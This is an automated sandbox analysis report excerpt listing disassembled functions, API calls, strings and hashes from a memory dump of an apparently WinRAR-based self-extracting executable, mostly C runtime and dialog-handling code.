API String ID: 3820355801-1882779555
Opcode ID: 4a7f5557a0788a0769f338a9b540ba95b476464ec3f0cf0b9bc0a223563d03bb
Instruction ID: a569570c40dbaebe03041ec23029fb5b4509fbe38628ff412e2a272cb8fd1ca8
Opcode Fuzzy Hash: 4a7f5557a0788a0769f338a9b540ba95b476464ec3f0cf0b9bc0a223563d03bb
Instruction Fuzzy Hash: 6E1127721407547FEF20B7B19C89FAF36ECAF54720F001029FA49B9193D6608D0983B0

Function 00E9E011 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E9E025

Part of subcall function 00E9D758: RtlFreeHeap.NTDLL(00000000,00000000,?,00EA1216,?,00000000,?,00000000,?,00EA123D,?,00000007,?,?,00EA163A,?), ref: 00E9D76E
Part of subcall function 00E9D758: GetLastError.KERNEL32(?,?,00EA1216,?,00000000,?,00000000,?,00EA123D,?,00000007,?,?,00EA163A,?,?), ref: 00E9D780

_free.LIBCMT ref: 00E9E031
_free.LIBCMT ref: 00E9E03C
_free.LIBCMT ref: 00E9E047
_free.LIBCMT ref: 00E9E052
_free.LIBCMT ref: 00E9E05D
_free.LIBCMT ref: 00E9E068
_free.LIBCMT ref: 00E9E073
_free.LIBCMT ref: 00E9E07E
_free.LIBCMT ref: 00E9E08C

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 82839c61ef58ab2dd0246928a507ebc8918cd905d05f6ff0cf804586b243c50a
Instruction ID: 4845721e8855495dd7079b61f15594749d150b7300cc374e3bad5ee0eede0e69
Opcode Fuzzy Hash: 82839c61ef58ab2dd0246928a507ebc8918cd905d05f6ff0cf804586b243c50a
Instruction Fuzzy Hash: 0811627A514158AFCF01EF94CD42D9D3BE9EF09350B5150A6BA18AB222DB31EA50DB81

Function 00E977B1 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00E978D0
___TypeMatch.LIBVCRUNTIME ref: 00E979DE
_UnwindNestedFrames.LIBCMT ref: 00E97B30
CallUnexpected.LIBVCRUNTIME ref: 00E97B4B

Strings

csm, xrefs: 00E97907
csm, xrefs: 00E977EE
[[, xrefs: 00E97B50
csm, xrefs: 00E9785B

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm$[[
API String ID: 2751267872-3215828536
Opcode ID: e48b90f6cd45628a416646d1a1b7354a28eb8f19a0ab9bff2044fc18ad259cd6
Instruction ID: 4251f0b245a9455d6b46081516191edd0f7ef077a9bb2f275995b404e1102e84
Opcode Fuzzy Hash: e48b90f6cd45628a416646d1a1b7354a28eb8f19a0ab9bff2044fc18ad259cd6
Instruction Fuzzy Hash: ABB1AC31828219EFCF29DFA4C8419AEBBB5FF04314F14605AE8907B212D771EE59CB91

Function 00E8F0F5 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 114COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00E8F10E
GetWindowRect.USER32(?,00000000), ref: 00E8F164
ShowWindow.USER32(?,00000005,00000000), ref: 00E8F1FB
SetWindowTextW.USER32(?,00000000), ref: 00E8F203
ShowWindow.USER32(00000000,00000005), ref: 00E8F219

Strings

z2, xrefs: 00E8F1CB
1, xrefs: 00E8F172, 00E8F1A7
RarHtmlClassName, xrefs: 00E8F1C5

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName$z2$1
API String ID: 3937224194-3439405266
Opcode ID: b50128eabd20b82e2300fa4e99a79b420620b27de7b89ba7f113aca0fc5b3638
Instruction ID: 0ba5aaf7867b35311243a816a11b53d7fe674611384dd582af211cc41bcda01b
Opcode Fuzzy Hash: b50128eabd20b82e2300fa4e99a79b420620b27de7b89ba7f113aca0fc5b3638
Instruction Fuzzy Hash: 8041A031105214EFCB11AFA1EC8CB9BBBE8EB48715F14456AF94DB9162DB34D904CB61

Function 00E90600 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E811E6: GetDlgItem.USER32(00000000,00003021), ref: 00E8122A
Part of subcall function 00E811E6: SetWindowTextW.USER32(00000000,00EA8574), ref: 00E81240

EndDialog.USER32(?,00000001), ref: 00E90650
SendMessageW.USER32(?,00000080,00000001,?), ref: 00E90677
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00E90690
SetWindowTextW.USER32(?,?), ref: 00E906A1
GetDlgItem.USER32(?,00000065), ref: 00E906AA
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00E906BE
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00E906D4

Strings

LICENSEDLG, xrefs: 00E90614

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 27ec586409f1fb1e6889f4db7ccd39ef17a7300960ce4cc33600cdede68ab67e
Instruction ID: 53fcde2b761fe839c3217ec86b6be4aaebac47ddba89d49aa511f6815e7da326
Opcode Fuzzy Hash: 27ec586409f1fb1e6889f4db7ccd39ef17a7300960ce4cc33600cdede68ab67e
Instruction Fuzzy Hash: B6210A322002487FDA116FA2EC8DF3B3BBCEB4AB94F411015F204F95E2CB52A915D631

Function 00E97230 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00E97267
___except_validate_context_record.LIBVCRUNTIME ref: 00E9726F
_ValidateLocalCookies.LIBCMT ref: 00E972F8
__IsNonwritableInCurrentImage.LIBCMT ref: 00E97323
_ValidateLocalCookies.LIBCMT ref: 00E97378

Strings

pY, xrefs: 00E97315, 00E9731E, 00E9732F
csm, xrefs: 00E9730D

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$pY
API String ID: 1170836740-1810000616
Opcode ID: 6493f3212a47772a9917f4f04e325e1f46ca30d490bfe2fd2f80d5c6792d2541
Instruction ID: 009b614ecd73d74a82764c63e9c66bc11fac86fd51e65d41032ac9574c59812f
Opcode Fuzzy Hash: 6493f3212a47772a9917f4f04e325e1f46ca30d490bfe2fd2f80d5c6792d2541
Instruction Fuzzy Hash: 04410570A24208AFCF10DF69C881A9E7BF5BF46318F149195FC14BB362D731AA49CB90

Function 00E9E105 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00E98F0C,?,?,?,00E98987,00000050), ref: 00E9E109
_free.LIBCMT ref: 00E9E13C
_free.LIBCMT ref: 00E9E164
SetLastError.KERNEL32(00000000), ref: 00E9E171
SetLastError.KERNEL32(00000000), ref: 00E9E17D
_abort.LIBCMT ref: 00E9E183

Strings

x7, xrefs: 00E9E157

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$_abort
String ID: x7
API String ID: 3160817290-374306512
Opcode ID: 2657842758c3fb013d9a8e3b65a6e5719f65a4c2f1525f048d745c5e5ff6fdf7
Instruction ID: 2203ec615c3808f49b6ac0fd64afb6830864da94925ea1f9bfbf357b36b13969
Opcode Fuzzy Hash: 2657842758c3fb013d9a8e3b65a6e5719f65a4c2f1525f048d745c5e5ff6fdf7
Instruction Fuzzy Hash: 58F0C836145A106BDF12B3376D4AA5F2AA99BC6B65F252124FB19F23A2FF31C8064121

Function 00E8EF1E Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E8EF2A

Strings

</p>, xrefs: 00E8F008
<style>, xrefs: 00E8F050
<br>, xrefs: 00E8F01E
>, xrefs: 00E8EF6B
</style>, xrefs: 00E8F072

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: a317f525043052c00f6eda2c1551dfb4ba2f438297ea7de0879580784ef888dd
Instruction ID: 39fa941fc3c5494016a97ee6cfbd01607f408a5815661993c15e0e01bd624cc9
Opcode Fuzzy Hash: a317f525043052c00f6eda2c1551dfb4ba2f438297ea7de0879580784ef888dd
Instruction Fuzzy Hash: 0651075674032359DB307A249811B7663E0DF65758F68243AFACDBF3C1FBA58C818361

Function 00EA401D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00EA4792,00000000,00000000,00000000,00000000,00000000,00E99B37), ref: 00EA405F
__fassign.LIBCMT ref: 00EA40DA
__fassign.LIBCMT ref: 00EA40F5
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 00EA411B
WriteFile.KERNEL32(?,00000000,00000000,00EA4792,00000000,?,?,?,?,?,?,?,?,?,00EA4792,00000000), ref: 00EA413A
WriteFile.KERNEL32(?,00000000,00000001,00EA4792,00000000,?,?,?,?,?,?,?,?,?,00EA4792,00000000), ref: 00EA4173

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 04489c3e7af5a7fc22d39e8c947cd35206c6d2996e2cf195b405442b02019520
Instruction ID: d5be23f46637f11a4951f78bc74d3127632bff2fd99ad2063cf66de5b6d0a8d2
Opcode Fuzzy Hash: 04489c3e7af5a7fc22d39e8c947cd35206c6d2996e2cf195b405442b02019520
Instruction Fuzzy Hash: 1051E5B09002489FCB14CFA8DC81AEEBBF8EF5D304F14451AE955FB291D770A945CB61

Function 00E8EB75 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E8EB7E
_wcslen.LIBCMT ref: 00E8EBB3

Strings

<br>, xrefs: 00E8EBFF
, xrefs: 00E8EBD0
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00E8EBA7
 , xrefs: 00E8EC41

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: 260735e33af1dcb28840e0d9cd8999e49b2a42ba1e2914cb4d74bbfcbd0d8741
Instruction ID: c9f8bb0d543fd017fa8b92440ecfaffa3025724bca691c77f2df3f8771673a4e
Opcode Fuzzy Hash: 260735e33af1dcb28840e0d9cd8999e49b2a42ba1e2914cb4d74bbfcbd0d8741
Instruction Fuzzy Hash: D4314C32A443419ADA30BF949C42776B3E4EB90324F20642FF55DB7381FA50BC4483A5

Function 00EA1224 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00EA11E8: _free.LIBCMT ref: 00EA1211

_free.LIBCMT ref: 00EA1272

Part of subcall function 00E9D758: RtlFreeHeap.NTDLL(00000000,00000000,?,00EA1216,?,00000000,?,00000000,?,00EA123D,?,00000007,?,?,00EA163A,?), ref: 00E9D76E
Part of subcall function 00E9D758: GetLastError.KERNEL32(?,?,00EA1216,?,00000000,?,00000000,?,00EA123D,?,00000007,?,?,00EA163A,?,?), ref: 00E9D780

_free.LIBCMT ref: 00EA127D
_free.LIBCMT ref: 00EA1288
_free.LIBCMT ref: 00EA12DC
_free.LIBCMT ref: 00EA12E7
_free.LIBCMT ref: 00EA12F2
_free.LIBCMT ref: 00EA12FD

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: dc82fc3354c5e4ab71d31c4d618491636c0f9fb0103f0a225e677c5eaed5ed1d
Instruction ID: 83539cc489ae7712b6c2a3bda933800e1294325ee797d5720c10648ee9146386
Opcode Fuzzy Hash: dc82fc3354c5e4ab71d31c4d618491636c0f9fb0103f0a225e677c5eaed5ed1d
Instruction Fuzzy Hash: 53117C71589B24ABDA20BBF0CC4BFDB77DCAF1A700F401C16F399BA092DA24B6058751

Function 00E9E189 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00E9DA82,00E9FB08,?,00E9E133,00000001,00000364,?,00E98F0C,?,?,?,00E98987,00000050), ref: 00E9E18E
_free.LIBCMT ref: 00E9E1C3
_free.LIBCMT ref: 00E9E1EA
SetLastError.KERNEL32(00000000), ref: 00E9E1F7
SetLastError.KERNEL32(00000000), ref: 00E9E200

Strings

x7, xrefs: 00E9E1DE

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free
String ID: x7
API String ID: 3170660625-374306512
Opcode ID: 7dfb370dfb56833d6f069437a98cf234a88ffec4f67ffdc4af9daedc44748070
Instruction ID: 760df18ab8ab88896358db339ed51f970930d5b0fabdb863250cc1701068c85f
Opcode Fuzzy Hash: 7dfb370dfb56833d6f069437a98cf234a88ffec4f67ffdc4af9daedc44748070
Instruction Fuzzy Hash: 2F0149361456113F9F15A3775D86D2B26AEEBC53653222134F605F2391EE70C8054160

Function 00E93549 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00E935C4,00E93527,00E937C8), ref: 00E93560
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00E93576
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00E9358B

Strings

ReleaseSRWLockExclusive, xrefs: 00E93580
AcquireSRWLockExclusive, xrefs: 00E93570
KERNEL32.DLL, xrefs: 00E9355B

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 6a73ae3d2c68e8a0af947851dca6a20250f2cec0f67adde35edb0048f1d51c5a
Instruction ID: f5d9a7c87956313cae68c2bc8a92df57a33ad87b188c88685b201c0846ca0c11
Opcode Fuzzy Hash: 6a73ae3d2c68e8a0af947851dca6a20250f2cec0f67adde35edb0048f1d51c5a
Instruction Fuzzy Hash: 81F022357403229F4F315F751DC02A622DC6B0EB583162038E905FB210EB20DE4D9AE1

Function 00E811E6 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00E84948: _swprintf.LIBCMT ref: 00E8496E
Part of subcall function 00E84948: _strlen.LIBCMT ref: 00E8498F
Part of subcall function 00E84948: SetDlgItemTextW.USER32(?,00EB3154,?), ref: 00E849EF
Part of subcall function 00E84948: GetWindowRect.USER32(?,?), ref: 00E84A29
Part of subcall function 00E84948: GetClientRect.USER32(?,?), ref: 00E84A35

GetDlgItem.USER32(00000000,00003021), ref: 00E8122A
SetWindowTextW.USER32(00000000,00EA8574), ref: 00E81240

Strings

X+, xrefs: 00E8124B
1, xrefs: 00E8121A
0, xrefs: 00E811E9
X+, xrefs: 00E811FB

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0$X+$X+$1
API String ID: 2622349952-1204512018
Opcode ID: 884dc07fb683518c202cbc27035ee4b1a5afe3ad616873e13b7841be07732ce4
Instruction ID: df6965976bd9a72adf3b9b386380fc99a6a14fbeed0a11cca4714b086ba8a122
Opcode Fuzzy Hash: 884dc07fb683518c202cbc27035ee4b1a5afe3ad616873e13b7841be07732ce4
Instruction Fuzzy Hash: 0EF0813010068DAADF552EA5884DBF93B9CAF85309F056094FE4DB91A1E774C496BB10

Function 00E9D250 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E9D26E

Part of subcall function 00E9D758: RtlFreeHeap.NTDLL(00000000,00000000,?,00EA1216,?,00000000,?,00000000,?,00EA123D,?,00000007,?,?,00EA163A,?), ref: 00E9D76E
Part of subcall function 00E9D758: GetLastError.KERNEL32(?,?,00EA1216,?,00000000,?,00000000,?,00EA123D,?,00000007,?,?,00EA163A,?,?), ref: 00E9D780

_free.LIBCMT ref: 00E9D280
_free.LIBCMT ref: 00E9D293
_free.LIBCMT ref: 00E9D2A4
_free.LIBCMT ref: 00E9D2B5

Strings

@;, xrefs: 00E9D264

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: @;
API String ID: 776569668-3452451375
Opcode ID: 9025baa984fc614a49b61f31080de3bdcd04c35fd43c85a8992c7884d533f002
Instruction ID: 1661394c7ee44909f2a098045dbb0c6144a1e6f73df90aad08b0ff4bc9c3cbd9
Opcode Fuzzy Hash: 9025baa984fc614a49b61f31080de3bdcd04c35fd43c85a8992c7884d533f002
Instruction Fuzzy Hash: EFF054B04081B88FCE156F6AFEC24093BE5FB247203552606F4187A2B4CF300909CBD6

Function 00E9747A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00E97471,00E95B1C,00E94764), ref: 00E97488
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00E97496
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00E974AF
SetLastError.KERNEL32(00000000,00E97471,00E95B1C,00E94764), ref: 00E97501

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
